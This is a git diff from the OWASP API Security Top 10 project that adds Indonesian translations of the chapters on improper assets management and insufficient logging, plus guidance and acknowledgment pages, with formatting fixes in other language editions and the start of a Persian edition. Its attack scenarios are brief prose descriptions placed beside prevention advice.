+| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **3** : Deteksi **2** | Teknis **2** : Spesifik Bisnis | +| Versi API lama biasanya tidak diperbarui dan merupakan cara mudah untuk mengkompromikan sistem tanpa harus melawan mekanisme keamanan mutakhir, yang mungkin ada untuk melindungi versi API terbaru. | Dokumentasi yang sudah ketinggalan zaman membuatnya lebih sulit untuk menemukan dan/atau memperbaiki kerentanan. Kurangnya inventarisasi aset dan strategi pensiun menyebabkan menjalankan sistem yang tidak diperbarui, yang mengakibatkan kebocoran data sensitif. Umum ditemukan host API yang terpapar secara tidak perlu karena konsep modern seperti mikroservis, yang memudahkan aplikasi untuk diterapkan dan independen (misalnya, komputasi cloud, k8s). | Penyerang dapat memperoleh akses ke data sensitif, atau bahkan mengambil alih server melalui versi API lama yang tidak diperbarui yang terhubung ke basis data yang sama. | + +## Apakah API Rentan? + +API mungkin rentan jika: + +* Tujuan dari host API tidak jelas, dan tidak ada jawaban eksplisit untuk pertanyaan berikut: + * Lingkungan apa API berjalan (misalnya, produksi, staging, pengujian, pengembangan)? + * Siapa yang seharusnya memiliki akses jaringan ke API (misalnya, publik, internal, mitra)? + * Versi API apa yang berjalan? + * Data apa yang dikumpulkan dan diproses oleh API (misalnya, PII)? + * Bagaimana aliran datanya? +* Tidak ada dokumentasi, atau dokumentasi yang ada tidak diperbarui. +* Tidak ada rencana pensiun untuk setiap versi API. +* Inventarisasi host hilang atau ketinggalan zaman. +* Inventarisasi layanan terintegrasi, baik pihak pertama maupun ketiga, hilang atau ketinggalan zaman. +* Versi API lama atau sebelumnya berjalan tanpa patch. + +## Skenario Serangan Contoh + +### Skenario #1 + +Setelah merancang ulang aplikasi mereka, layanan pencarian lokal meninggalkan versi API lama (`api.someservice.com/v1`) berjalan, tidak dilindungi, dan dengan akses ke basis data pengguna. Saat menargetkan salah satu aplikasi rilis terbaru, seorang penyerang menemukan alamat API (`api.someservice.com/v2`). Mengganti `v2` dengan `v1` di URL memberi penyerang akses ke API lama, tidak dilindungi, yang memaparkan informasi identifikasi pribadi (PII) lebih dari 100 juta pengguna. + +### Skenario #2 + +Sebuah jaringan sosial menerapkan mekanisme pembatasan laju yang memblokir penyerang dari menggunakan brute-force untuk menebak token reset kata sandi. Mekanisme ini tidak diimplementasikan sebagai bagian dari kode API itu sendiri, tetapi dalam komponen terpisah antara klien dan API resmi (`www.socialnetwork.com`). Seorang peneliti menemukan host API beta (`www.mbasic.beta.socialnetwork.com`) yang menjalankan API yang sama, termasuk mekanisme reset kata sandi, tetapi mekanisme pembatasan laju tidak diterapkan. Peneliti dapat mereset kata sandi pengguna mana pun dengan menggunakan brute-force sederhana untuk menebak token 6 digit. + +## Cara Mencegah + +* Inventarisasi semua host API dan dokumentasikan aspek penting dari masing-masing, berfokus pada lingkungan API (misalnya, produksi, staging, pengujian, pengembangan), siapa yang seharusnya memiliki akses jaringan ke host (misalnya, publik, internal, mitra) dan versi API. +* Inventarisasi layanan terintegrasi dan dokumentasikan aspek penting seperti peran mereka dalam sistem, data apa yang dipertukarkan (aliran data), dan sensitivitasnya. +* Dokumentasikan semua aspek API Anda seperti otentikasi, kesalahan, pengalihan, pembatasan laju, kebijakan berbagi sumber daya lintas asal (CORS) dan endpoint, termasuk parameter, permintaan, dan respons mereka. +* Hasilkan dokumentasi secara otomatis dengan mengadopsi standar terbuka. Sertakan pembangunan dokumentasi dalam pipeline CI/CD Anda. +* Buat dokumentasi API tersedia untuk mereka yang berwenang menggunakan API. +* Gunakan langkah-langkah perlindungan eksternal seperti firewall keamanan API untuk semua versi terekspos API Anda, bukan hanya untuk versi produksi saat ini. +* Hindari menggunakan data produksi dengan penerapan API non-produksi. Jika ini tidak dapat dihindari, endpoint ini harus mendapatkan perlakuan keamanan yang sama dengan produksi. +* Ketika versi API yang lebih baru mencakup peningkatan keamanan, lakukan analisis risiko untuk membuat keputusan tindakan mitigasi yang diperlukan untuk versi yang lebih tua: misalnya, apakah mungkin menerapkan peningkatan tanpa merusak kompatibilitas API atau Anda perlu menarik versi yang lebih tua dengan cepat dan memaksa semua klien beralih ke versi terbaru. + +## Referensi + +### Eksternal + +* [CWE-1059: Dokumentasi yang Tidak Lengkap][1] +* [Inisiatif OpenAPI][2] + +[1]: https://cwe.mitre.org/data/definitions/1059.html +[2]: https://www.openapis.org/ diff --git a/editions/2019/id/0xaa-insufficient-logging-monitoring.md b/editions/2019/id/0xaa-insufficient-logging-monitoring.md new file mode 100644 index 000000000..f8a24253c --- /dev/null +++ b/editions/2019/id/0xaa-insufficient-logging-monitoring.md @@ -0,0 +1,56 @@ +# API10:2019 Pencatatan & Pemantauan yang Tidak Memadai + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **2** | Prevalensi **3** : Deteksi **1** | Teknis **2** : Spesifik Bisnis | +| Penyerang memanfaatkan kurangnya pencatatan dan pemantauan untuk menyalahgunakan sistem tanpa disadari. | Tanpa pencatatan dan pemantauan, atau dengan pencatatan dan pemantauan yang tidak memadai, hampir mustahil untuk melacak kegiatan mencurigakan dan menanggapinya tepat waktu. | Tanpa visibilitas atas kegiatan berbahaya yang sedang berlangsung, penyerang memiliki banyak waktu untuk sepenuhnya mengkompromikan sistem. | + +## Apakah API Rentan? + +API rentan jika: + +* Tidak menghasilkan log apa pun, level pencatatan tidak disetel dengan benar, atau pesan log tidak menyertakan detail yang cukup. +* Integritas log tidak dijamin (misalnya, [Log Injection][1]). +* Log tidak dipantau secara terus menerus. +* Infrastruktur API tidak dipantau secara terus menerus. + +## Skenario Serangan Contoh + +### Skenario #1 + +Kunci akses administratif API bocor di repositori publik. Pemilik repositori diberi tahu melalui email tentang kebocoran potensial, tetapi membutuhkan waktu lebih dari 48 jam untuk menindaklanjuti insiden, dan paparan kunci akses mungkin telah mengizinkan akses ke data sensitif. Karena pencatatan yang tidak memadai, perusahaan tidak dapat menilai data apa yang diakses oleh aktor berbahaya. + +### Skenario #2 + +Platform berbagi video terkena serangan "skala besar" stuffing kredensial. Meskipun login gagal dicatat, tidak ada peringatan yang dipicu selama rentang waktu serangan. Sebagai reaksi atas keluhan pengguna, log API dianalisis dan serangan terdeteksi. Perusahaan harus membuat pengumuman publik yang meminta pengguna mereset kata sandi mereka, dan melaporkan insiden kepada otoritas peraturan. + +## Cara Mencegah + +* Catat semua upaya otentikasi gagal, akses yang ditolak, dan kesalahan validasi input. +* Log harus ditulis menggunakan format yang sesuai untuk dikonsumsi oleh solusi manajemen log, dan harus mencakup detail yang cukup untuk mengidentifikasi pelaku jahat. +* Log harus ditangani sebagai data sensitif, dan integritasnya harus dijamin saat diam dan dalam transit. +* Konfigurasikan sistem pemantauan untuk secara terus menerus memantau infrastruktur, jaringan, dan fungsi API. +* Gunakan sistem Manajemen Informasi dan Keamanan (SIEM) untuk menggabungkan dan mengelola log dari semua komponen tumpukan API dan host. +* Konfigurasikan dashboard dan peringatan kustom, memungkinkan kegiatan mencurigakan terdeteksi dan direspon lebih awal. + +## Referensi + + +### OWASP + +* [OWASP Logging Cheat Sheet][2] +* [OWASP Proactive Controls: Implement Logging and Intrusion Detection][3] +* [OWASP Application Security Verification Standard: V7: Error Handling and + Logging Verification Requirements][4] + +### Eksternal + +* [CWE-223: Omission of Security-relevant Information][5] +* [CWE-778: Insufficient Logging][6] + +[1]: https://www.owasp.org/index.php/Log_Injection +[2]: https://www.owasp.org/index.php/Logging_Cheat_Sheet +[3]: https://www.owasp.org/index.php/OWASP_Proactive_Controls +[4]: https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md +[5]: https://cwe.mitre.org/data/definitions/223.html +[6]: https://cwe.mitre.org/data/definitions/778.html diff --git a/editions/2019/id/0xb0-next-devs.md b/editions/2019/id/0xb0-next-devs.md new file mode 100644 index 000000000..a3f6074ba --- /dev/null +++ b/editions/2019/id/0xb0-next-devs.md @@ -0,0 +1,31 @@ +# Apa Selanjutnya untuk Pengembang + +Tugas untuk membuat dan memelihara perangkat lunak yang aman, atau memperbaiki perangkat lunak yang ada, dapat sulit. API tidak berbeda. + +Kami yakin bahwa pendidikan dan kesadaran adalah faktor kunci untuk menulis perangkat lunak yang aman. Semua hal lain yang diperlukan untuk mencapai tujuan, bergantung pada **membangun dan menggunakan proses keamanan yang dapat diulang dan kontrol keamanan standar**. + +OWASP memiliki berbagai sumber daya gratis dan terbuka untuk mengatasi masalah keamanan sejak awal proyek. Silakan kunjungi halaman [Proyek OWASP][1] untuk daftar lengkap proyek yang tersedia. + +| | | +|-|-| +| **Pendidikan** | Anda dapat mulai membaca [materi Proyek Pendidikan OWASP][2] sesuai dengan profesi dan minat Anda. Untuk pembelajaran hands-on, kami menambahkan **crAPI** - **C**ompletely **R**idiculous **API** dalam [roadmap kami][3]. Sementara itu, Anda dapat berlatih WebAppSec menggunakan [Modul Pixi DevSlop OWASP][4], layanan WebApp dan API rentan yang bertujuan untuk mengajari pengguna cara menguji aplikasi web dan API modern untuk masalah keamanan, dan cara menulis API yang lebih aman di masa depan. Anda juga dapat menghadiri sesi pelatihan [Konferensi OWASP AppSec][5], atau [bergabung dengan chapter lokal Anda][6]. | +| **Persyaratan Keamanan** | Keamanan harus menjadi bagian dari setiap proyek sejak awal. Saat melakukan elicitation persyaratan, penting untuk mendefinisikan apa artinya "aman" untuk proyek tersebut. OWASP merekomendasikan Anda menggunakan [OWASP Application Security Verification Standard (ASVS)][7] sebagai panduan untuk menetapkan persyaratan keamanan. Jika Anda outsourcing, pertimbangkan [OWASP Secure Software Contract Annex][8], yang harus disesuaikan sesuai hukum dan peraturan setempat. | +| **Arsitektur Keamanan** | Keamanan harus tetap menjadi perhatian selama semua tahapan proyek. [OWASP Prevention Cheat Sheets][9] merupakan titik awal yang baik untuk panduan tentang cara merancang keamanan selama fase arsitektur. Di antara banyak lainnya, Anda akan menemukan [REST Security Cheat Sheet][10] dan [REST Assessment Cheat Sheet][11]. | +| **Kontrol Keamanan Standar** | Mengadopsi Kontrol Keamanan Standar mengurangi risiko memperkenalkan kelemahan keamanan saat menulis logika Anda sendiri. Meskipun fakta banyak kerangka kerja modern sekarang datang dengan kontrol efektif standar bawaan, [OWASP Proactive Controls][12] memberi Anda gambaran yang baik tentang kontrol keamanan apa yang harus Anda cari untuk dimasukkan dalam proyek Anda. OWASP juga menyediakan beberapa pustaka dan alat yang mungkin Anda anggap berharga, seperti kontrol validasi. | +| **Siklus Hidup Pengembangan Perangkat Lunak yang Aman** | Anda dapat menggunakan [OWASP Software Assurance Maturity Model (SAMM)][13] untuk meningkatkan proses saat membangun API. Beberapa proyek OWASP lainnya tersedia untuk membantu Anda selama fase pengembangan API yang berbeda misalnya, [OWASP Code Review Project][14]. | + + +[1]: https://www.owasp.org/index.php/Category:OWASP_Project +[2]: https://www.owasp.org/index.php/OWASP_Education_Material_Categorized +[3]: https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map +[4]: https://devslop.co/Home/Pixi +[5]: https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference +[6]: https://www.owasp.org/index.php/OWASP_Chapter +[7]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[8]: https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex +[9]: https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series +[10]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md +[11]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md +[12]: https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018 +[13]: https://www.owasp.org/index.php/OWASP_SAMM_Project +[14]: https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project diff --git a/editions/2019/id/0xb1-next-devsecops.md b/editions/2019/id/0xb1-next-devsecops.md new file mode 100644 index 000000000..97884ca53 --- /dev/null +++ b/editions/2019/id/0xb1-next-devsecops.md @@ -0,0 +1,25 @@ +# Apa Selanjutnya untuk DevSecOps + +Karena pentingnya dalam arsitektur aplikasi modern, membangun API yang aman sangat penting. Keamanan tidak boleh diabaikan, dan itu harus menjadi bagian dari seluruh siklus pengembangan. Pemindaian dan penetration testing setahun sekali tidak lagi cukup. + +DevSecOps harus bergabung dengan upaya pengembangan, memfasilitasi pengujian keamanan yang berkelanjutan di seluruh siklus pengembangan perangkat lunak. Tujuan mereka adalah untuk meningkatkan pipeline pengembangan dengan otomatisasi keamanan, dan tanpa berdampak pada kecepatan pengembangan. + +Jika ragu, tetap terinformasi, dan tinjau, [DevSecOps Manifesto][1] sering. + +| | | +|-|-| +| **Pahami Model Ancaman** | Prioritas pengujian berasal dari model ancaman. Jika Anda tidak memilikinya, pertimbangkan menggunakan [OWASP Application Security Verification Standard (ASVS)][2], dan [OWASP Testing Guide][3] sebagai input. Melibatkan tim pengembangan dapat membantu membuat mereka lebih sadar keamanan. | +| **Pahami SDLC** | Bergabung dengan tim pengembangan untuk lebih memahami Siklus Hidup Pengembangan Perangkat Lunak. Kontribusi Anda pada pengujian keamanan berkelanjutan harus kompatibel dengan orang, proses, dan alat. Semua orang harus setuju dengan prosesnya, sehingga tidak ada gesekan atau perlawanan yang tidak perlu. | +| **Strategi Pengujian** | Karena pekerjaan Anda tidak boleh berdampak pada kecepatan pengembangan, Anda harus bijaksana memilih teknik terbaik (sederhana, tercepat, paling akurat) untuk memverifikasi persyaratan keamanan. [OWASP Security Knowledge Framework][4] dan [OWASP Application Security Verification Standard][5] dapat menjadi sumber persyaratan keamanan fungsional dan non-fungsional yang hebat. Ada sumber lain yang hebat untuk [proyek][6] dan [alat][7] serupa dengan yang ditawarkan oleh [komunitas DevSecOps][8]. | +| **Meraih Cakupan dan Akurasi** | Anda adalah jembatan antara tim pengembang dan operasi. Untuk mencapai cakupan, Anda tidak hanya harus fokus pada fungsionalitas, tetapi juga orkestrasi. Bekerja dekat dengan tim pengembangan dan operasi dari awal sehingga Anda dapat mengoptimalkan waktu dan upaya Anda. Anda harus menargetkan keadaan di mana keamanan esensial diverifikasi secara berkelanjutan. | +| **Komunikasikan Temuan dengan Jelas** | Berikan nilai dengan sedikit atau tanpa gesekan. Kirim temuan tepat waktu, dalam alat yang digunakan tim pengembangan (bukan file PDF). Bergabung dengan tim pengembangan untuk menangani temuan. Manfaatkan kesempatan untuk mendidik mereka, menjelaskan kelemahan dan bagaimana dapat disalahgunakan, termasuk skenario serangan untuk membuatnya nyata. | + +[1]: https://www.devsecops.org/ +[2]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[3]: https://www.owasp.org/index.php/OWASP_Testing_Project +[4]: https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework +[5]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[6]: http://devsecops.github.io/ +[7]: https://github.com/devsecops/awesome-devsecops +[8]: http://devsecops.org + diff --git a/editions/2019/id/0xd0-about-data.md b/editions/2019/id/0xd0-about-data.md new file mode 100644 index 000000000..c040d9f03 --- /dev/null +++ b/editions/2019/id/0xd0-about-data.md @@ -0,0 +1,23 @@ +# Metodologi dan Data + +## Ikhtisar + +Karena industri AppSec belum secara khusus difokuskan pada arsitektur aplikasi paling mutakhir, di mana API memainkan peran penting, menyusun daftar sepuluh risiko keamanan API paling kritis, berdasarkan panggilan data publik, akan menjadi tugas yang sulit. Meskipun tidak ada panggilan data publik, daftar Top 10 yang dihasilkan masih didasarkan pada data yang tersedia untuk publik, kontribusi pakar keamanan, dan diskusi terbuka dengan komunitas keamanan. + +## Metodologi + +Pada fase pertama, data publik tentang insiden keamanan API dikumpulkan, ditinjau, dan dikategorikan oleh sekelompok pakar keamanan. Data tersebut dikumpulkan dari platform bug bounty dan basis data kerentanan, dalam rentang waktu satu tahun. Itu digunakan untuk tujuan statistik. + +Pada fase berikutnya, praktisi keamanan dengan pengalaman penetration testing diminta untuk menyusun daftar Top 10 mereka sendiri. + +[OWASP Risk Rating Methodology][1] digunakan untuk melakukan Analisis Risiko. Skor didiskusikan dan ditinjau di antara praktisi keamanan. Untuk pertimbangan mengenai hal ini, harap merujuk pada bagian [API Security Risks][2]. + +Draf pertama OWASP API Security Top 10 2019 dihasilkan dari konsensus antara hasil statistik dari fase satu, dan daftar praktisi keamanan. Draf ini kemudian diserahkan untuk penghargaan dan tinjauan oleh kelompok praktisi keamanan lainnya, dengan pengalaman yang relevan di bidang keamanan API. + +OWASP API Security Top 10 2019 pertama kali dipresentasikan dalam acara OWASP Global AppSec Tel Aviv (Mei 2019). Sejak saat itu, telah tersedia di GitHub untuk diskusi publik dan kontribusi. + +Daftar kontributor tersedia di bagian [Penghargaan][3]. + +[1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md \ No newline at end of file diff --git a/editions/2019/id/0xd1-acknowledgments.md b/editions/2019/id/0xd1-acknowledgments.md new file mode 100644 index 000000000..b1193ba6a --- /dev/null +++ b/editions/2019/id/0xd1-acknowledgments.md @@ -0,0 +1,40 @@ +# Ucapan Terima Kasih + +## Ucapan Terima Kasih kepada Kontributor + +Kami ingin berterima kasih kepada kontributor berikut yang berkontribusi secara publik di GitHub atau melalui cara lain: + +* 007divyachawla +* Abid Khan +* Adam Fisher +* anotherik +* bkimminich +* caseysoftware +* Chris Westphal +* dsopas +* DSotnikov +* emilva +* ErezYalon +* faizzaidi +* flascelles +* Guillaume Benats +* IgorSasovets +* Inonshk +* JonnySchnittger +* jmanico +* jmdx +* Keith Casey +* kozmic +* LauraRosePorter +* Matthieu Estrade +* nathanawmk +* PauloASilva +* pentagramz +* philippederyck +* pleothaud +* r00ter +* Raj kumar +* Sagar Popat +* Stephen Gates +* thomaskonrad +* xycloops123 \ No newline at end of file diff --git a/editions/2019/id/dist/owasp-api-security-top-10.odt b/editions/2019/id/dist/owasp-api-security-top-10.odt new file mode 100644 index 000000000..211d328b3 Binary files /dev/null and b/editions/2019/id/dist/owasp-api-security-top-10.odt differ diff --git a/editions/2019/id/dist/owasp-api-security-top-10.pdf b/editions/2019/id/dist/owasp-api-security-top-10.pdf new file mode 100644 index 000000000..db762b080 Binary files /dev/null and b/editions/2019/id/dist/owasp-api-security-top-10.pdf differ diff --git a/editions/2019/id/images/cover.jpg b/editions/2019/id/images/cover.jpg new file mode 100644 index 000000000..5ef93f221 Binary files /dev/null and b/editions/2019/id/images/cover.jpg differ diff --git a/editions/2019/id/images/front-cc.png b/editions/2019/id/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2019/id/images/front-cc.png differ diff --git a/editions/2019/id/images/front-wasp.png b/editions/2019/id/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2019/id/images/front-wasp.png differ diff --git a/editions/2019/id/images/license.png b/editions/2019/id/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2019/id/images/license.png differ diff --git a/editions/2019/id/images/owasp-logo.png b/editions/2019/id/images/owasp-logo.png new file mode 100644 index 000000000..caeb47bdf Binary files /dev/null and b/editions/2019/id/images/owasp-logo.png differ diff --git a/editions/2019/mkdocs.yml b/editions/2019/mkdocs.yml index d78a30bd6..5216b4969 100644 --- a/editions/2019/mkdocs.yml +++ b/editions/2019/mkdocs.yml @@ -5,6 +5,8 @@ extra: alternate: - name: Arabic lang: ar + - name: Bahasa (Indonesian) + lang: id - name: German lang: de - name: English diff --git a/editions/2019/pt-BR/0xa9-improper-assets-management.md b/editions/2019/pt-BR/0xa9-improper-assets-management.md index a826b8570..6fd930b26 100644 --- a/editions/2019/pt-BR/0xa9-improper-assets-management.md +++ b/editions/2019/pt-BR/0xa9-improper-assets-management.md @@ -10,11 +10,11 @@ A API pode estar vulnerável se: * O propósito do *host* da API não for claro, e se não há respostas explícitas para as seguintes questões: - * Em qual ambiente está rodando à API? (Ex.: produção, *staging*, teste, desenvolvimento)? - * Quem deve ter acesso via rede à API (Ex.: pública, interna, parceiros)? - * Em qual versão está a API em execução? - * Que tipo de informação acessa a API (Ex.: Dados pessoais sensíveis)? - * Qual é o fluxo da informação? + * Em qual ambiente está rodando à API? (Ex.: produção, *staging*, teste, desenvolvimento)? + * Quem deve ter acesso via rede à API (Ex.: pública, interna, parceiros)? + * Em qual versão está a API em execução? + * Que tipo de informação acessa a API (Ex.: Dados pessoais sensíveis)? + * Qual é o fluxo da informação? * Não existe documentação, ou a documentação existente está desatualizada. * Não há um plano de retirada para cada versão da API. * Inventário de *hosts* não existe ou está desatualizado. diff --git a/editions/2019/pt-pt/0xa5-broken-function-level-authorization.md b/editions/2019/pt-pt/0xa5-broken-function-level-authorization.md index 99bd0f3be..f96ca47c8 100644 --- a/editions/2019/pt-pt/0xa5-broken-function-level-authorization.md +++ b/editions/2019/pt-pt/0xa5-broken-function-level-authorization.md @@ -24,7 +24,7 @@ Nunca assuma o tipo dum _endpoint_, normal ou administrativo, apenas com base no URL. Apesar dos programadores poderem ter decidido expor a maioria dos _endpoints_ -administrativos sob um mesmo prefixo, e.g. `api/admins, é comum encontrarem-se +administrativos sob um mesmo prefixo, e.g. `api/admins`, é comum encontrarem-se _endpoints_ administrativos sob outros prefixos, misturados com _endpoints_ ordinários e.g. `api/users`. diff --git a/editions/2019/pt-pt/0xa9-improper-assets-management.md b/editions/2019/pt-pt/0xa9-improper-assets-management.md index 768da31b5..883927486 100644 --- a/editions/2019/pt-pt/0xa9-improper-assets-management.md +++ b/editions/2019/pt-pt/0xa9-improper-assets-management.md @@ -11,13 +11,13 @@ A API pode ser vulnerável se: * O propósito dum host da API não é claro, não havendo respostas explicitas para as seguintes perguntas: - * Em que ambientes está a API a correr (e.g., produção, _staging_, testes, - desenvolvimento)? - * Quem deve ter acesso à API através da rede (e.g., público, interno, - parceiros)? - * Que versões da API estão a correr? - * Que informação é recolhida e processada pela API (e.g., PII)? - * Qual é o fluxo dos dados? + * Em que ambientes está a API a correr (e.g., produção, _staging_, testes, + desenvolvimento)? + * Quem deve ter acesso à API através da rede (e.g., público, interno, + parceiros)? + * Que versões da API estão a correr? + * Que informação é recolhida e processada pela API (e.g., PII)? + * Qual é o fluxo dos dados? * Não existe documentação, ou a que existe não está atualizada. * Não existe um plano para descontinuar cada uma das versões da API. * Não existe um inventário de hosts ou o que existe está desatualizado. diff --git a/editions/2019/pt-pt/0xd0-about-data.md b/editions/2019/pt-pt/0xd0-about-data.md index 3042e7f89..290d94055 100644 --- a/editions/2019/pt-pt/0xd0-about-data.md +++ b/editions/2019/pt-pt/0xd0-about-data.md @@ -1,4 +1,4 @@ -# Methodology and Data +# Metodologia e Dados ## Preâmbulo diff --git a/editions/2019/ru/0xa9-improper-assets-management.md b/editions/2019/ru/0xa9-improper-assets-management.md index 6d73f210a..89d3b5928 100644 --- a/editions/2019/ru/0xa9-improper-assets-management.md +++ b/editions/2019/ru/0xa9-improper-assets-management.md @@ -10,11 +10,11 @@ API может быть уязвимым, если: * Назначение API хоста неясно, а также нет четких ответов на следующие вопросы: - * В каком окружении запущен API (например, production, staging, test, development)? - * Каким должен быть сетевой доступ к API (например, общедоступным, внутренним, для партнеров)? - * Какая версия API запущена? - * Какие данные собираются и обрабатываются API (например, персональные данные)? - * Каков поток движения данных? + * В каком окружении запущен API (например, production, staging, test, development)? + * Каким должен быть сетевой доступ к API (например, общедоступным, внутренним, для партнеров)? + * Какая версия API запущена? + * Какие данные собираются и обрабатываются API (например, персональные данные)? + * Каков поток движения данных? * Документация отсутствует или не обновляется. * Отсутствует план вывода из эксплуатации предыдущих версий API. * Инвентаризация хостов не проводится, или ее результаты устарели. diff --git a/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md index 46956d1f4..b46bdc576 100644 --- a/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md +++ b/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -77,23 +77,24 @@ The mitigation planning should be done in two layers: * Engineering - choose the right protection mechanisms to mitigate the business risk. - Some of the protection mechanisms are more simple while others are more - difficult to implement. The following methods are used to slow down automated - threats: - - * Device fingerprinting: denying service to unexpected client devices (e.g - headless browsers) tends to make threat actors use more sophisticated - solutions, thus more costly for them - * Human detection: using either captcha or more advanced biometric solutions - (e.g. typing patterns) - * Non-human patterns: analyze the user flow to detect non-human patterns (e.g. - the user accessed the "add to cart" and "complete purchase" functions in - less than one second) - * Consider blocking IP addresses of Tor exit nodes and well-known proxies - - Secure and limit access to APIs that are consumed directly by machines (such - as developer and B2B APIs). They tend to be an easy target for attackers - because they often don't implement all the required protection mechanisms. + Some of the protection mechanisms are more simple while others are more + difficult to implement. The following methods are used to slow down + automated + threats: + + * Device fingerprinting: denying service to unexpected client devices (e.g + headless browsers) tends to make threat actors use more sophisticated + solutions, thus more costly for them + * Human detection: using either captcha or more advanced biometric solutions + (e.g. typing patterns) + * Non-human patterns: analyze the user flow to detect non-human patterns + (e.g. the user accessed the "add to cart" and "complete purchase" + functions in less than one second) + * Consider blocking IP addresses of Tor exit nodes and well-known proxies + + Secure and limit access to APIs that are consumed directly by machines (such + as developer and B2B APIs). They tend to be an easy target for attackers + because they often don't implement all the required protection mechanisms. ## References diff --git a/editions/2023/en/0xa7-server-side-request-forgery.md b/editions/2023/en/0xa7-server-side-request-forgery.md index 70bce4868..a0482f75a 100644 --- a/editions/2023/en/0xa7-server-side-request-forgery.md +++ b/editions/2023/en/0xa7-server-side-request-forgery.md @@ -132,10 +132,10 @@ can view the credentials of the cloud environment. * Isolate the resource fetching mechanism in your network: usually these features are aimed to retrieve remote resources and not internal ones. * Whenever possible, use allow lists of: - * Remote origins users are expected to download resources from (e.g. Google - Drive, Gravatar, etc.) - * URL schemes and ports - * Accepted media types for a given functionality + * Remote origins users are expected to download resources from (e.g. Google + Drive, Gravatar, etc.) + * URL schemes and ports + * Accepted media types for a given functionality * Disable HTTP redirections. * Use a well-tested and maintained URL parser to avoid issues caused by URL parsing inconsistencies. diff --git a/editions/2023/en/0xa8-security-misconfiguration.md b/editions/2023/en/0xa8-security-misconfiguration.md index c2dd4b98a..a75e3a7c1 100644 --- a/editions/2023/en/0xa8-security-misconfiguration.md +++ b/editions/2023/en/0xa8-security-misconfiguration.md @@ -81,8 +81,8 @@ Furthermore: HTTP verbs should be disabled (e.g. HEAD). * APIs expecting to be accessed from browser-based clients (e.g., WebApp front-end) should, at least: - * implement a proper Cross-Origin Resource Sharing (CORS) policy - * include applicable Security Headers + * implement a proper Cross-Origin Resource Sharing (CORS) policy + * include applicable Security Headers * Restrict incoming content types/data formats to those that meet the business/ functional requirements. * Ensure all servers in the HTTP server chain (e.g. load balancers, reverse diff --git a/editions/2023/en/0xa9-improper-inventory-management.md b/editions/2023/en/0xa9-improper-inventory-management.md index 64458f478..95d02f21d 100644 --- a/editions/2023/en/0xa9-improper-inventory-management.md +++ b/editions/2023/en/0xa9-improper-inventory-management.md @@ -19,10 +19,11 @@ An API has a "documentation blindspot" if: * The purpose of an API host is unclear, and there are no explicit answers to the following questions - * Which environment is the API running in (e.g. production, staging, test, - development)? - * Who should have network access to the API (e.g. public, internal, partners)? - * Which API version is running? + * Which environment is the API running in (e.g. production, staging, test, + development)? + * Who should have network access to the API (e.g. public, internal, + partners)? + * Which API version is running? * There is no documentation or the existing documentation is not updated. * There is no retirement plan for each API version. * The host's inventory is missing or outdated. @@ -35,10 +36,9 @@ An API has a "data flow blindspot" if: * There is a "sensitive data flow" where the API shares sensitive data with a third party and - * There is not a business justification or approval of the flow - * There is no inventory or visibility of the flow - * There is not deep visibility of which type of sensitive data is shared - + * There is not a business justification or approval of the flow + * There is no inventory or visibility of the flow + * There is not deep visibility of which type of sensitive data is shared ## Example Attack Scenarios @@ -95,7 +95,6 @@ sells the information for malicious purposes. breaking API compatibility or if you need to take the older version out quickly and force all clients to move to the latest version. - ## References ### External diff --git a/editions/2023/fa/0x00-header.md b/editions/2023/fa/0x00-header.md new file mode 100644 index 000000000..ad4770aaa --- /dev/null +++ b/editions/2023/fa/0x00-header.md @@ -0,0 +1,12 @@ +--- +title: '' +description: OWASP API Security Top 10 2023 edition +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| [https://owasp.org](https://owasp.org) | این اثر تحت مجوز زیر توسعه داده شده است [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ \ No newline at end of file diff --git a/editions/2023/fa/0x00-notice.md b/editions/2023/fa/0x00-notice.md new file mode 100644 index 000000000..6797a6fdf --- /dev/null +++ b/editions/2023/fa/0x00-notice.md @@ -0,0 +1,12 @@ +# اطلاعیه سپاسگزاری‌ها + +این نسخه متنی OWASP API Security Top 10 است که به عنوان مرجعی برای نسخه رسمی منتشر شده، در قالب یک سند قابل حمل (PDF) استفاده می شود. + +مشارکت در پروژه مانند نظرات، اصلاحات یا ترجمه ها باید در اینجا انجام شود. برای جزئیات بیشتر در مورد [نحوه مشارکت][1]، لطفاً به [CONTRIBUTING.md][1] مراجعه فرمایید. + + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md diff --git a/editions/2023/fa/0x00-toc.md b/editions/2023/fa/0x00-toc.md new file mode 100644 index 000000000..41061ea5d --- /dev/null +++ b/editions/2023/fa/0x00-toc.md @@ -0,0 